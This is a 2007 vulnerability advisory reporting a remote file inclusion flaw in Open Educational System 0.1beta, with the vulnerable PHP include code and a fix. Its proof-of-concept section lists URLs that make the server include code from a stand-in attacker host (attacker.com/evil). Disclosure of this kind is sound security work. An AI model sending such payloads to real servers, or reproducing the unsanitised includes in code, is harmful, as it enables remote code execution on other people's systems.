[ECHO_ADV_69$2007] OES (Open Educational System) 0.1beta Remote File Inclusion Vulnerability



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[ECHO_ADV_69$2007] OES (Open Educational System) 0.1beta Remote File Inclusion Vulnerability
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Author : M.Hasran Addahroni
Date : March, 12th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv69-K-159-2007.txt
Critical Lvl : Dangerous
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Open Educational System
version : 0.1beta
Vendor : http://openeducation.sourceforge.net
Description :

OES (Open Educational System) which is a free for use, open source, and multi-platform, multi-language and user-friendy design online e-learning platform.
The system is integrate and suitable use for any high-school, college or university

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Vulnerability:
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- Invalid include function at includes/lib-account.inc.php :


----------------includes/lib-account.inc.php-------------------
<?php
// File : /include/lib-account.inc.php
//
// Description : This library is for administrator and normal user account mangement.


// Include the configuration file.
include_once ( $CONF_CONFIG_PATH.'/config.inc.php' );

// Include the main include file for running all routine.
include_once ( $CONF_INCLUDE_PATH.'/library.inc.php' );

// Include the ADOdb Class
include_once ( $CONF_INCLUDE_PATH.'/adodb/adodb.inc.php');


...
----------------------------------------------------------------


Variables $CONF_INCLUDE_PATH is not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

also affected files :


includes/lib-file.inc.php
includes/lib-group.inc.php
includes/lib-log.inc.php
includes/lib-mydb.inc.php
includes/lib-template-mod.inc.php
includes/lib-themes.inc.php

Poc/Exploit:
~~~~~~~~~~

http://www.target.com/[OES_path]/includes/lib-account.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-group.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-log.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-mydb.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-template-mod.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-themes.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?


Solution:
~~~~~~~

- Sanitize variable $CONF_INCLUDE_PATH on affected files.
- Turn off register_globals

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Shoutz:
~~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ newbie_hacker@xxxxxxxxxxxxxxx
~ #aikmel #e-c-h-o @irc.dal.net

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Contact:
~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/

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